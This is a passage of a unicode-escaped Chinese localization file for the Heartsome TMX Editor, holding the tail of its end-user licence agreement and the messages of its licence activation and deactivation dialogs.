\u8bcd\u5178\u7f16\u8f91\u5668\u201d\u8f6f\u4ef6\uff0c\u5305\u62ec\u5df2\u7ecf\u6210\u529f\u6fc0\u6d3b\u7684\u4ea7\u54c1\u548c\u6211\u4eec\u5185\u5d4c\u7684\u4e3a\u9632\u6b62\u975e\u6cd5\u590d\u5236\u800c\u8bbe\u8ba1\u7684\u6280\u672f\u3002\u5982\u679c\u60a8\u4e0d\u6309\u7167\u8f6f\u4ef6\u548c\u6587\u6863\u4e2d\u8bf4\u660e\u7684\u6b65\u9aa4\u8fdb\u884c\u6fc0\u6d3b\uff0c\u53d7\u4fdd\u62a4\u7684\u6fc0\u6d3b\u6280\u672f\u5c06\u963b\u6b62\u60a8\u4f7f\u7528\u8f6f\u4ef6\u3002\n\n\u8bf7\u52a1\u5fc5\u5728\u4f7f\u7528 Heartsome \u8f6f\u4ef6\u4e4b\u524d\uff0c\u4ed4\u7ec6\u9605\u8bfb\u8bb8\u53ef\u8bc1\u3002\u4e00\u65e6\u60a8\u5f00\u59cb\u4f7f\u7528 Heartsome \u8f6f\u4ef6\uff0c \u5c06\u89c6\u4e3a\u60a8\u5df2\u7ecf\u63a5\u53d7\u4e86\u8bb8\u53ef\u8bc1\u4e2d\u7684\u6761\u6b3e\u3002\u5982\u679c\u60a8\u4e0d\u63a5\u53d7\u8bb8\u53ef\u8bc1\u6761\u6b3e\uff0c\u8bf7\u4e0d\u8981\u7ee7\u7eed\u5b89\u88c5\u6b64\u8f6f\u4ef6\u3002\n\n1. \u4e00\u822c\u89c4\u5b9a\n\u672c\u8bb8\u53ef\u8bc1\u6240\u9644\u7684\u8f6f\u4ef6\uff0c\u5305\u62ec\u6587\u4ef6\u53ca\u4efb\u4f55\u5b57\u4f53\uff0c\u50a8\u5b58\u4e8e\u4efb\u4f55\u5a92\u4f53\u6216\u4efb\u4f55\u5176\u5b83\u5f62\u5f0f\uff08\u7edf\u79f0\u201cHeartsome \u8f6f\u4ef6\u201d\uff09\uff0c\u662f\u7531 HEARTSOME \u8bb8\u53ef\u60a8\u4f7f\u7528\u800c\u975e\u6388\u4e88\u60a8\uff0c\u800c\u4e14\u60a8\u53ea\u53ef\u6839\u636e\u672c\u8bb8\u53ef\u8bc1\u7684\u6761\u6b3e\u52a0\u4ee5\u4f7f\u7528\u3002HEARTSOME \u4fdd\u7559\u4e00\u5207\u5e76\u672a\u660e\u786e\u6388\u4e88\u60a8\u7684\u6743\u5229\u3002\u60a8\u62e5\u6709\u8bb0\u5f55\u6709 Heartsome \u8f6f\u4ef6\u7684\u5a92\u4f53\uff0c\u4f46 HEARTSOME \u4fdd\u7559\u5bf9\u8f6f\u4ef6\u672c\u8eab\u7684\u6240\u6709\u6743\u3002\u800c\u4e14\uff0c\u6839\u636e\u672c\u8bb8\u53ef\u8bc1\u6761\u6b3e\u6388\u4e88\u7684\u6743\u5229\u5305\u62ec\u53d6\u4ee3\u53ca/\u6216\u8865\u5145\u539f\u5148 Heartsome \u8f6f\u4ef6\u4ea7\u54c1\u7684\u4efb\u4f55\u8f6f\u4ef6\u5347\u7ea7\u7248\u672c\uff0c\u9664\u975e\u8be5\u7b49\u5347\u7ea7\u7248\u672c\u53e6\u5916\u5e26\u6709\u72ec\u7acb\u8bb8\u53ef\u8bc1\u3002\n\n2. \u5141\u8bb8\u7684\u8bb8\u53ef\u8bc1\u4f7f\u7528\u65b9\u5f0f\u548c\u9650\u5236\n\u672c\u8bb8\u53ef\u8bc1\u6388\u4e88\u60a8\u5355\u72ec\u7684\u3001\u4e0d\u53ef\u8f6c\u8ba9\u7684\uff0c\u4e14\u975e\u4e13\u6709\u7684\u4f7f\u7528\u6b64\u8f6f\u4ef6\u7684\u6743\u5229\uff0c\u4e14\u6309\u7167\u672c\u534f\u8bae\u6761\u6b3e\uff0c\u53ea\u5728\u4e00\u53f0\u673a\u5668\u4f7f\u7528\u672c\u8f6f\u4ef6\u548c\u6587\u6863\u3002\u60a8\u53ea\u53ef\u4e3a\u5907\u4efd\u76ee\u7684\u800c\u4ee5\u673a\u5668\u53ef\u8bfb\u5f62\u5f0f\u590d\u5236\u4e00\u4efd Heartsome \u8f6f\u4ef6\uff1b\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u8be5\u5907\u4efd\u526f\u672c\u5e26\u6709\u539f\u4ef6\u4e0a\u6240\u8f7d\u7684\u4e00\u5207\u7248\u6743\u6216\u5b83\u4e13\u6709\u6743\u901a\u77e5\u3002\u9664\u975e\u672c\u8bb8\u53ef\u8bc1\u5141\u8bb8\uff0c\u60a8\u4e0d\u53ef\u4ee5\u590d\u5236\u3001\u53cd\u7f16\u8bd1\u3001\u53cd\u5411\u5de5\u7a0b\u3001\u53cd\u6c47\u7f16\u3001\u4fee\u6539 Heartsome \u8f6f\u4ef6\u6216\u5236\u9020\u5176\u4efb\u4f55\u90e8\u5206\u7684\u884d\u751f\u3002\n\n3. \u8f6c\u8ba9\n\u60a8\u4e0d\u5f97\u51fa\u79df\u3001\u51fa\u501f\u3001\u6216\u518d\u8bb8\u53ef Heartsome \u8f6f\u4ef6\u3002\u4f46\u662f\uff0c\u5982\u679c\u60a8\u9700\u8981\u7684\u8bdd\uff0c\u60a8\u6709\u6743\u5229\u5c06 Heartsome \u8f6f\u4ef6\u7684\u4e00\u5207\u8bb8\u53ef\u4f7f\u7528\u6743\u4e00\u6b21\u6027\u5730\u6c38\u4e45\u8f6c\u8ba9\u7ed9\u53e6\u4e00\u65b9\uff0c\u6761\u4ef6\u662f: (a) \u8f6c\u8ba9\u5185\u5bb9\u5fc5\u987b\u5305\u62ec Heartsome \u8f6f\u4ef6\uff0c\u5305\u62ec\u5176\u6240\u6709\u7ec4\u4ef6\u3001\u539f\u5a92\u4f53\u3001\u5370\u5237\u54c1\u3001\u5b57\u4f53\u548c\u672c\u8bb8\u53ef\u8bc1\uff1b (b) \u60a8\u4e0d\u5f97\u4fdd\u7559 Heartsome \u8f6f\u4ef6\u7684\u5168\u90e8\u6216\u8005\u90e8\u5206\u526f\u672c\uff0c\u5305\u62ec\u50a8\u5b58\u4e8e\u8ba1\u7b97\u673a\u6216\u5176\u4ed6\u5b58\u50a8\u88c5\u7f6e\u4e0a\u7684\u526f\u672c\uff1b\u53ca (c) \u63a5\u6536 Heartsome \u8f6f\u4ef6\u7684\u4e00\u65b9\u6709\u8d23\u4efb\u9605\u8bfb\u5e76\u540c\u610f\u63a5\u53d7\u672c\u8bb8\u53ef\u8bc1\u7684\u6761\u6b3e\u548c\u6761\u4ef6\u3002\n\n4.\u7ec8\u6b62\u534f\u8bae\n\u5982\u679c\u60a8\u672a\u80fd\u9075\u5b88\u672c\u8bb8\u53ef\u8bc1\u4e2d\u7684\u4efb\u4f55\u6761\u6b3e\uff0c\u60a8\u5728\u672c\u8bb8\u53ef\u8bc1\u4e0b\u7684\u6743\u5229\u5c06\u7acb\u523b\u7ec8\u6b62\uff0c\u800c\u65e0\u9700 HEARTSOME \u53e6\u884c\u901a\u77e5\u3002\u540c\u65f6\uff0c\u5728\u672c\u8bb8\u53ef\u8bc1\u7ec8\u6b62\u65f6\uff0c\u60a8\u5e94\u8be5\u505c\u6b62 Heartsome \u8f6f\u4ef6\u7684\u4efb\u4f55\u4f7f\u7528\u884c\u4e3a\uff0c\u5e76\u9500\u6bc1 Heartsome \u8f6f\u4ef6\u7684\u5404\u79cd\u5a92\u4ecb\u5f62\u5f0f\u7684\u6240\u6709\u5168\u90e8\u6216\u90e8\u5206\u526f\u672c\u3002\n\n5. \u514d\u8d23\u58f0\u660e\n\u60a8\u660e\u786e\u8ba4\u8bc6\u5e76\u540c\u610f Heartsome \u8f6f\u4ef6\uff08\u5982\u4e0a\u6240\u8ff0\uff09\u7684\u4f7f\u7528\u548c\u670d\u52a1\uff08\u5982\u4ee5\u4e0b\u5b9a\u4e49\uff09, \u60a8\u987b\u81ea\u62c5\u6709\u5173\u529f\u6548\u6ee1\u610f\u5ea6\u3001\u6027\u80fd\u3001\u51c6\u786e\u6027\u53ca\u8d28\u91cf\u7684\u98ce\u9669\u3002\u6240\u4ea7\u751f\u7684\u7ed3\u679c\u5219\u89c6\u4e3a\u4e0e\u60a8\u76f4\u63a5\u52aa\u529b\u76f8\u5173\u3002 Heartsome \u8f6f\u4ef6\u53ca\u670d\u52a1\u201c\u6309\u73b0\u72b6\u201d\u63d0\u4f9b\u7684\uff0c\u9644\u6709\u4e00\u5207\u7455\u75b5\u800c\u4e0d\u5e26\u6709\u4efb\u4f55\u79cd\u7c7b\u7684\u62c5\u4fdd\uff0c HEARTSOME \u7279\u6b64\u5426\u8ba4\u5c31 Heartsome \u8f6f\u4ef6\u548c\u670d\u52a1\u63d0\u4f9b\u4efb\u4f55\u660e\u793a\u3001\u6697\u793a\u6216\u6cd5\u5b9a\u62c5\u4fdd\u548c\u6761\u4ef6\u3002\u800c\u4e14\uff0cHEARTSOME \u4e0d\u627f\u62c5\u62c5\u4fdd\u65f6\u6548\u6027\u3001\u6027\u80fd\u6ee1\u610f\u5ea6\u3001\u9002\u5408\u4f5c\u67d0\u7279\u5b9a\u7528\u9014\u53ca\u4e0d\u4fb5\u5bb3\u7b2c\u4e09\u65b9\u6743\u5229\u7684\u8d23\u4efb\u548c\u4e49\u52a1\u3002\u53e6\u5916\uff0cHEARTSOME \u4e0d\u62c5\u4fdd\u60a8\u4e0d\u53d7\u5e72\u6270\u5730\u4eab\u7528 Heartsome \u8f6f\u4ef6\uff1bHeartsome \u8f6f\u4ef6\u5305\u542b\u7684\u529f\u80fd\u4f1a\u7b26\u5408\u60a8\u7684\u8981\u6c42\uff1b\u60a8\u80fd\u6beb\u65e0\u9519\u8bef\u5730\u64cd\u4f5c Heartsome \u8f6f\u4ef6\uff1b\u6216 Heartsome \u8f6f\u4ef6\u7684\u7455\u75b5\u5c06\u88ab\u7ea0\u6b63\u3002HEARTSOME \u6216 HEARTSOME \u6388\u6743\u4ee3\u8868\u7ed9\u4e88\u7684\u53e3\u5934\u6216\u4e66\u9762\u7684\u4fe1\u606f\u6216\u610f\u89c1\u5747\u4e0d\u6784\u6210\u4efb\u4f55\u62c5\u4fdd\u3002\u5982\u53d1\u73b0 Heartsome \u8f6f\u4ef6\u5b58\u6709\u7455\u75b5\uff0c\u4e0d\u7ba1\u662f\u771f\u5b9e\u7684\u6216\u8fd8\u662f\u60f3\u50cf\u7684\uff0c\u60a8\u987b\u627f\u62c5\u6240\u6709\u5fc5\u8981\u7684\u7ef4\u4fee\u3001\u4fee\u7406\u6216\u7ea0\u6b63\u7684\u5168\u90e8\u8d39\u7528\u3002\n\n6. \u8d23\u4efb\u9650\u5236\n\u5728\u6cd5\u5f8b\u4e0d\u7981\u6b62\u7684\u8303\u56f4\u5185\uff0c\u4efb\u4f55\u60c5\u51b5\u4e0b\uff0c\u5bf9\u4efb\u4f55\u4eba\u8eab\u4f24\u5bb3\u548c/\u6216\u4efb\u4f55\u9644\u5e26\u7684\u6216\u540e\u679c\u6027\u7684\u635f\u5bb3\uff0cHEARTSOME \u65e0\u9700\u8d1f\u8d23\u3002HEARTSOME \u65e0\u9700\u8d1f\u8d23\u5305\u62ec\u7531\u4e8e\u60a8\u4f7f\u7528\u6216\u65e0\u6cd5\u4f7f\u7528 Heartsome \u8f6f\u4ef6\u800c\u5bfc\u81f4\u7684\u5229\u6da6\u635f\u5931\u3001\u6570\u636e\u4e22\u5931\u3001\u4e1a\u52a1\u4e2d\u65ad\u7684\u635f\u5bb3\u8d54\u507f\u6216\u4efb\u4f55\u5176\u5b83\u5546\u4e1a\u635f\u5bb3\u8d54\u507f\u6216\u635f\u5931\uff0c\u65e0\u8bba\u5176\u6210\u56e0\u53ca\u57fa\u4e8e\u4f55\u79cd\u8d23\u4efb\u7406\u8bba\uff08\u5408\u540c\u3001\u4fb5\u6743\u6216\u5176\u5b83\uff09\uff0c\u5373\u4f7f HEARTSOME \u5df2\u77e5\u6089\u53ef\u80fd\u53d1\u751f\u4e0a\u8ff0\u635f\u5bb3\u8d54\u507f\u3002\u5728\u4efb\u4f55\u60c5\u51b5\u4e0b\uff0cHEARTSOME \u5c31\u6240\u6709\u635f\u5bb3\u8d54\u507f\u5bf9\u60a8\u627f\u62c5\u7684\u5168\u90e8\u8d23\u4efb\u4e0d\u5e94\u8d85\u8fc7\u4e00\u7f8e\u5143 (US$1.00)\u3002\u5373\u4f7f\u524d\u8ff0\u8865\u6551\u63aa\u65bd\u5931\u53bb\u5176\u57fa\u672c\u4f5c\u7528\uff0c\u4e0a\u8ff0\u8d23\u4efb\u9650\u5236\u4ecd\u5c06\u9002\u7528\u3002\n\n7. \u6cd5\u5f8b\u7684\u53ef\u6267\u884c\u6027\n\u672c\u8bb8\u53ef\u8bc1\u53d7\u9999\u6e2f\u7279\u522b\u884c\u653f\u533a\u6cd5\u5f8b\u7ba1\u8f96\u5e76\u6309\u8be5\u7b49\u6cd5\u5f8b\u89e3\u91ca\uff0c\u4e0e\u9999\u6e2f\u5c45\u6c11\u4e4b\u95f4\u8ba2\u7acb\u4e14\u5168\u90e8\u5728\u9999\u6e2f\u7279\u522b\u884c\u653f\u533a\u5c65\u884c\u7684\u534f\u8bae\u4e00\u6837\u5177\u6709\u6548\u529b\u3002\u672c\u8bb8\u53ef\u8bc1\u4e0d\u53d7\u300a\u8054\u5408\u56fd\u56fd\u9645\u8d27\u7269\u9500\u552e\u5408\u540c\u516c\u7ea6\u300b\u7ba1\u8f96\uff0c\u5176\u5bf9\u8bb8\u53ef\u8bc1\u7684\u9002\u7528\u5728\u6b64\u660e\u786e\u6392\u9664\u3002\u5982\u679c\u57fa\u4e8e\u4efb\u4f55\u539f\u56e0\uff0c\u5177\u6709\u5408\u6cd5\u7ba1\u8f96\u6743\u7684\u6cd5\u9662\u88c1\u5b9a\u672c\u8bb8\u53ef\u8bc1\u7684\u4efb\u4f55\u6761\u6b3e\u6216\u5176\u4efb\u4f55\u90e8\u5206\u4e0d\u53ef\u88ab\u5f3a\u5236\u6267\u884c\uff0c\u672c\u8bb8\u53ef\u8bc1\u7684\u5176\u4f59\u89c4\u5b9a\u5e94\u7ee7\u7eed\u5145\u5206\u6709\u6548\u3002\n\n8. \u5b8c\u6574\u548c\u6700\u7ec8\u534f\u8bae\n\u672c\u8bb8\u53ef\u8bc1\u6784\u6210\u53cc\u65b9\u6709\u5173\u8bb8\u53ef\u4f7f\u7528\u7684 Heartsome \u8f6f\u4ef6\u7684\u5168\u90e8\u534f\u8bae\uff0c\u5e76\u53d6\u4ee3\u4e0e\u8be5\u76f8\u5173\u4e3b\u9898\u7684\u4ee5\u524d\u6216\u73b0\u5728\u7684\u6240\u6709\u7406\u89e3\u3002\u672a\u7ecf HEARTSOME \u7b7e\u7f72\u4e66\u9762\u6587\u4ef6\uff0c\u5bf9\u672c\u8bb8\u53ef\u8bc1\u7684\u4efb\u4f55\u4fee\u8ba2\u6216\u4fee\u6539\u4e0d\u4f5c\u4e3a\u6b63\u5f0f\u6750\u6599\u3002\u672c\u8bb8\u53ef\u8bc1\u7684\u4efb\u4f55\u8bd1\u672c\u4ec5\u4ec5\u4e3a\u4e86\u6ee1\u8db3\u5f53\u5730\u9700\u8981\u3002\u5982\u679c\u82f1\u6587\u672c\u4e0e\u4efb\u4f55\u975e\u82f1\u6587\u8bd1\u672c\u6709\u4efb\u4f55\u62b5\u89e6\u4e4b\u5904\uff0c\u5e94\u4ee5\u672c\u8bb8\u53ef\u8bc1\u7684\u82f1\u6587\u7248\u672c\u4e3a\u51c6\u3002\n\n9. \u77e5\u8bc6\u4ea7\u6743\u6240\u6709\u6743\uff0c\u4fdd\u7559\u6743\u5229\n\u672c\u8f6f\u4ef6\u7684\u4efb\u4f55\u6388\u6743\u526f\u672c\u7684\u77e5\u8bc6\u4ea7\u6743\u53ca\u76f8\u5173\u8f6f\u4ef6\u7684\u7ed3\u6784\u3001\u7ec4\u7ec7\u548c\u4ee3\u7801\u7684\u6709\u4ef7\u77e5\u8bc6\u4ea7\u6743\uff08\u4f8b\u5982\u5546\u4e1a\u79d8\u5bc6\u548c\u4fdd\u5bc6\u4fe1\u606f\uff09\u5747\u5c5e\u4e8e HEARTSOME\u3002\u672c\u8f6f\u4ef6\u4e2d\u6240\u4f7f\u7528\u5230\u7684\u7b2c\u4e09\u65b9\u8f6f\u4ef6\u7684\u77e5\u8bc6\u4ea7\u6743\u5f52\u8be5\u7b2c\u4e09\u65b9\u6240\u6709\u3002\u672c\u8f6f\u4ef6\u53d7\u6cd5\u5f8b\uff08\u5305\u62ec\u4f46\u4e0d\u9650\u4e8e\u9999\u6e2f\u7279\u522b\u884c\u653f\u533a\u548c\u5176\u4ed6\u56fd\u5bb6\u7684\u7248\u6743\u6cd5\uff09\u4ee5\u53ca\u56fd\u9645\u534f\u7ea6\u6761\u6b3e\u4fdd\u62a4\u3002\u9664\u975e\u660e\u786e\u8868\u8ff0\uff0c\u5426\u5219\u672c\u534f\u8bae\u4e0d\u6388\u4e88\u7528\u6237\u5bf9\u672c\u8f6f\u4ef6\u7684\u4efb\u4f55\u77e5\u8bc6\u4ea7\u6743\uff0c\u4e14 HEARTSOME \u53ca\u5176\u4f9b\u5e94\u5546\u4fdd\u7559\u672a\u660e\u786e\u6388\u4e88\u7684\u5176\u4ed6\u6240\u6709\u6743\u5229\u3002\n\n10. \u652f\u6301\u670d\u52a1\n1) \u5982\u5728\u672c\u201c\u8f6f\u4ef6\u201d\u9644\u968f\u7528\u6237\u624b\u518c\u6216\u5176\u5b83\u6750\u6599\u4e2d\uff0cHEARTSOME \u660e\u793a\u5c06\u4e3a\u60a8\u63d0\u4f9b\u652f\u6301\u670d\u52a1\uff0c\u5219 HEARTSOME \u5c06\u4f9d\u7167\u8be5\u7528\u6237\u624b\u518c\u6216\u5176\u5b83\u6750\u6599\u4e2d\u6240\u8ff0\u7684\u5404\u9879\u653f\u7b56\u548c\u8ba1\u5212\u4e3a\u60a8\u63d0\u4f9b\u4e0e\u672c\u201c\u8f6f\u4ef6\u201d\u6709\u5173\u7684\u652f\u6301\u670d\u52a1\uff08\u201c\u652f\u6301\u670d\u52a1\u201d\uff09\u3002\n2) \u63d0\u4f9b\u7ed9\u60a8\u4f5c\u4e3a\u652f\u6301\u670d\u52a1\u7684\u4e00\u90e8\u5206\u7684\u4efb\u4f55\u9644\u52a0\u8f6f\u4ef6\u4ee3\u7801\uff08\u5982\u6709\uff09\u5e94\u88ab\u89c6\u4e3a\u672c\u201c\u8f6f\u4ef6\u201d\u7684\u4e00\u90e8\u5206\uff0c\u5e76\u987b\u53d7\u672c\u300a\u534f\u8bae\u300b\u4e2d\u7684\u5404\u9879\u6761\u6b3e\u7684\u62d8\u675f\u3002\n3) \u60a8\u660e\u793a\u540c\u610f\uff0cHEARTSOME \u53ef\u5c06\u60a8\u63d0\u4f9b\u7ed9 HEARTSOME \u4f5c\u4e3a\u652f\u6301\u670d\u52a1\u7684\u4e00\u90e8\u5206\u7684\u6280\u672f\u4fe1\u606f\uff08\u5982\u6709\uff09\u7528\u4e8e\u5546\u4e1a\u7528\u9014\uff0c\u5305\u62ec\u4ea7\u54c1\u652f\u6301\u548c\u5f00\u53d1\u3002\u9664\u4e86\u5728\u4e3a\u60a8\u63d0\u4f9b\u652f\u6301\u670d\u52a1\u65f6\u5fc5\u987b\u7684\u60c5\u51b5\u5916\uff0cHEARTSOME \u5728\u4f7f\u7528\u8fd9\u4e9b\u6280\u672f\u4fe1\u606f\u65f6\u4e0d\u4f1a\u63d0\u53ca\u6709\u5173\u60a8\u7684\u4efb\u4f55\u8eab\u4efd\u4fe1\u606f\uff0c\u9664\u975e\u83b7\u5f97\u60a8\u7684\u8bb8\u53ef\u3002 +license.LicenseAgreementDialog.nextBtn = \u4e0b\u4e00\u6b65(&N) +license.LicenseAgreementDialog.exitBtn = \u5173\u95ed(&C) +license.LicenseManageDialog.title = Heartsome TMX Editor \u8bb8\u53ef\u8bc1\u7ba1\u7406 +license.LicenseManageDialog.statusGroup = \u8bb8\u53ef\u8bc1\u72b6\u6001 +license.LicenseManageDialog.statusLabel = \u5f53\u524d\u8bb8\u53ef\u8bc1\u72b6\u6001\uff1a +license.LicenseManageDialog.typeLabel = \u5f53\u524d\u8bb8\u53ef\u7c7b\u578b\uff1a +license.LicenseManageDialog.notActiveLabel = \u672a\u6fc0\u6d3b +license.LicenseManageDialog.activeLabel = \u5df2\u6fc0\u6d3b +license.LicenseManageDialog.cancelActiveButton = \u53d6\u6d88\u6fc0\u6d3b +license.LicenseManageDialog.confirm = \u786e\u8ba4 +license.LicenseManageDialog.confirmMessage = \u60a8\u6b63\u5728\u53d6\u6d88\u6fc0\u6d3b\u5f53\u524d\u8bb8\u53ef\u8bc1\uff0c\u53d6\u6d88\u6fc0\u6d3b\u540e\uff1a\n1\u3001\u5728\u672c\u8ba1\u7b97\u673a\u4e0a\uff0c\u5fc5\u987b\u6fc0\u6d3b\u4e00\u4e2a\u6709\u6548\u7684\u8bb8\u53ef\u8bc1\u624d\u53ef\u4ee5\u7ee7\u7eed\u4f7f\u7528\u672c\u8f6f\u4ef6\uff1b\n2\u3001\u60a8\u53ef\u4ee5\u5728\u5176\u4ed6\u8ba1\u7b97\u673a\u4e0a\u3001\u6216\u5176\u4ed6\u64cd\u4f5c\u7cfb\u7edf\u4e2d\u6fc0\u6d3b\u8be5\u8bb8\u53ef\u8bc1\u3002\n\n\u786e\u5b9a\u8981\u53d6\u6d88\u6fc0\u6d3b\u5f53\u524d\u8bb8\u53ef\u8bc1\u5417\uff1f +license.LicenseManageDialog.licenseIdGroup = \u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7 +license.LicenseManageDialog.licenseIdLabel = \u5e8f\u5217\u53f7\uff1a +license.LicenseManageDialog.activeBtn = \u6fc0\u6d3b(&A) +license.LicenseManageDialog.exitBtn = \u5173\u95ed(&C) +license.LicenseManageDialog.label1 = \u5982\u679c\u60a8\u6ca1\u6709\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\uff0c\u8bf7 +license.LicenseManageDialog.label2 = \u6216 +license.LicenseManageDialog.label3 = \u3002 +license.LicenseManageDialog.link1 = \u8d2d\u4e70\u5546\u4e1a\u8bb8\u53ef\u8bc1 +license.LicenseManageDialog.link2 = \u7533\u8bf7\u8bd5\u7528\u8bb8\u53ef\u8bc1 +license.LicenseManageDialog.label4 = \u6b63\u5728\u9a8c\u8bc1\uff1a +license.LicenseManageDialog.titleInvalid = \u9519\u8bef +license.LicenseManageDialog.infoInvalid = \u60a8\u8f93\u5165\u7684\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\u65e0\u6548\uff0c\u8bf7\u91cd\u65b0\u8f93\u5165\u3002\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\u89e3\u51b3\u3002 +license.LicenseManageDialog.notice = \u63d0\u793a +license.LicenseManageDialog.activeSuccess = \u60a8\u7684\u8bb8\u53ef\u8bc1\u5df2\u6210\u529f\u6fc0\u6d3b\u3002 +license.LicenseManageDialog.activeFail = \u6fc0\u6d3b\u5931\u8d25\uff0c\u8bf7\u7a0d\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002 +license.LicenseManageDialog.tempMutilActive = \u672c\u4ea7\u54c1\u5728\u5f53\u524d\u8ba1\u7b97\u673a\u4e0a\u7684\u8bd5\u7528\u671f\u5df2\u6ee1\u3002\n\n\u82e5\u60a8\u521a\u521a\u83b7\u5f97\u8be5\u8bb8\u53ef\u8bc1\uff0c\u5219\u53ef\u80fd\u662f\u56e0\u4e3a\u60a8\u6216\u4e4b\u524d\u4f7f\u7528\u8be5\u8ba1\u7b97\u673a\u7684\u7528\u6237\u66fe\u7ecf\u6fc0\u6d3b\u8fc7\u672c\u4ea7\u54c1\u7684\u8bd5\u7528\u8bb8\u53ef\u8bc1\u3002\u82e5\u60a8\u5e0c\u671b\u5ef6\u957f\u8bd5\u7528\u671f\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\u5e76\u5c3d\u53ef\u80fd\u63d0\u4f9b\u60a8\u4e4b\u524d\u7533\u8bf7\u7684\u8bd5\u7528\u8bb8\u53ef\u8bc1\u5e8f\u5217\u53f7\u3002 +license.LicenseManageDialog.activedLicense = \u60a8\u8f93\u5165\u7684\u8bb8\u53ef\u8bc1\u5df2\u5728\u5176\u4ed6\u8ba1\u7b97\u673a\u4e0a\u6fc0\u6d3b\uff0c\u8bf7\u8f93\u5165\u65b0\u7684\u8bb8\u53ef\u8bc1\u3002\n\n\u82e5\u60a8\u5df2\u66f4\u6362\u8ba1\u7b97\u673a\uff0c\u8bf7\u5148\u5728\u5df2\u6fc0\u6d3b\u6b64\u8bb8\u53ef\u8bc1\u7684\u8ba1\u7b97\u673a\u4e0a\u201c\u53d6\u6d88\u6fc0\u6d3b\u201d\uff0c\u7136\u540e\u91cd\u65b0\u5728\u672c\u8ba1\u7b97\u673a\u4e0a\u6fc0\u6d3b\u3002\n\u82e5\u5df2\u6fc0\u6d3b\u6b64\u8bb8\u53ef\u8bc1\u7684\u8ba1\u7b97\u673a\u5df2\u7ecf\u65e0\u6cd5\u4f7f\u7528\u3001\u6216\u5176\u64cd\u4f5c\u7cfb\u7edf\u5df2\u88ab\u683c\u5f0f\u5316\uff0c\u8bf7\u5148\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u4ee5\u4eba\u5de5\u65b9\u5f0f\u53d6\u6d88\u6fc0\u6d3b\u3002 +license.LicenseManageDialog.titleNet = \u9519\u8bef +license.LicenseManageDialog.infoNet = \u7f51\u7edc\u8fde\u63a5\u5f02\u5e38\uff0c\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002\u8bf7\u68c0\u67e5\u60a8\u7684\u7f51\u7edc\u8fde\u63a5\uff0c\u7136\u540e\u518d\u91cd\u8bd5\u3002 +license.LicenseManageDialog.typeTemp = TMX Editor Release 8 \u8bd5\u7528\u8bb8\u53ef +license.LicenseManageDialog.typeBusiness = TMX Editor Release 8 \u5546\u4e1a\u8bb8\u53ef +license.LicenseManageDialog.utilDate = \u8bd5\u7528\u671f\u9650\uff1a +license.LicenseManageDialog.unvalidate = \u65e0\u6cd5\u9a8c\u8bc1 +license.LicenseManageDialog.noticeLbl = \u7f51\u7edc\u8fde\u63a5\u5f02\u5e38\uff0c\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002\n\u65e0\u6cd5\u8054\u7f51\u9a8c\u8bc1\u60a8\u7684\u8bd5\u7528\u8bb8\u53ef\u8bc1\u72b6\u6001\uff0c\u8bf7\u68c0\u67e5\u60a8\u7684\u7f51\u7edc\u8fde\u63a5\u3002\n\n\u5728\u91cd\u65b0\u8054\u7f51\u9a8c\u8bc1\u60a8\u7684\u8bd5\u7528\u8bb8\u53ef\u8bc1\u4e4b\u524d\uff0c\u60a8\u6682\u65f6\u65e0\u6cd5\u4f7f\u7528\u672c\u8f6f\u4ef6\u3002\n\u8d2d\u4e70\u5546\u4e1a\u8bb8\u53ef\u8bc1\u540e\uff0c\u53ef\u4ee5\u8131\u673a\u4f7f\u7528\u5df2\u6fc0\u6d3b\u7684\u8f6f\u4ef6\u3002 +license.LicenseManageDialog.invalidLicense = \u8bb8\u53ef\u8bc1\u65e0\u6548 +license.LicenseManageDialog.expired = \u8bd5\u7528\u671f\u5df2\u6ee1 +license.LicenseManageDialog.unactiveSuccess = \u8be5\u8bb8\u53ef\u8bc1\u5df2\u6210\u529f\u53d6\u6d88\u6fc0\u6d3b\u3002\n\u60a8\u53ef\u4ee5\u5728\u5176\u4ed6\u8ba1\u7b97\u673a\u4e0a\u91cd\u65b0\u6fc0\u6d3b\u5e76\u4f7f\u7528\u8be5\u8bb8\u53ef\u8bc1\u3002 +license.LicenseManageDialog.unactiveFail = \u53d6\u6d88\u6fc0\u6d3b\u5931\u8d25\uff0c\u8bf7\u7a0d\u540e\u518d\u91cd\u8bd5\u3002\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\u89e3\u51b3\u3002 +license.LicenseManageHandler.progress = \u6b63\u5728\u83b7\u53d6\u8bb8\u53ef\u8bc1\u4fe1\u606f... +license.LicenseManageDialog.licenseException = \u8bb8\u53ef\u8bc1\u5f02\u5e38 +license.LicenseManageDialog.licenseExceptionInfo = \u8bf7\u5c1d\u8bd5\u91cd\u65b0\u8fd0\u884c\u672c\u8f6f\u4ef6\uff0c\u6216\u4ee5\u7ba1\u7406\u5458\u8eab\u4efd\u91cd\u65b0\u8fd0\u884c\u3002\n\n\u82e5\u6b64\u95ee\u9898\u4ecd\u7136\u5b58\u5728\uff0c\u8bf7\u8054\u7cfb Heartsome \u6280\u672f\u652f\u6301\u4eba\u5458\uff0c\u5e76\u63d0\u4f9b\u5982\u4e0b\u9519\u8bef\u4ee3\u7801\uff1a{0}\u3002 +license.LicenseManageDialog.licenseExceptionInfo1 = 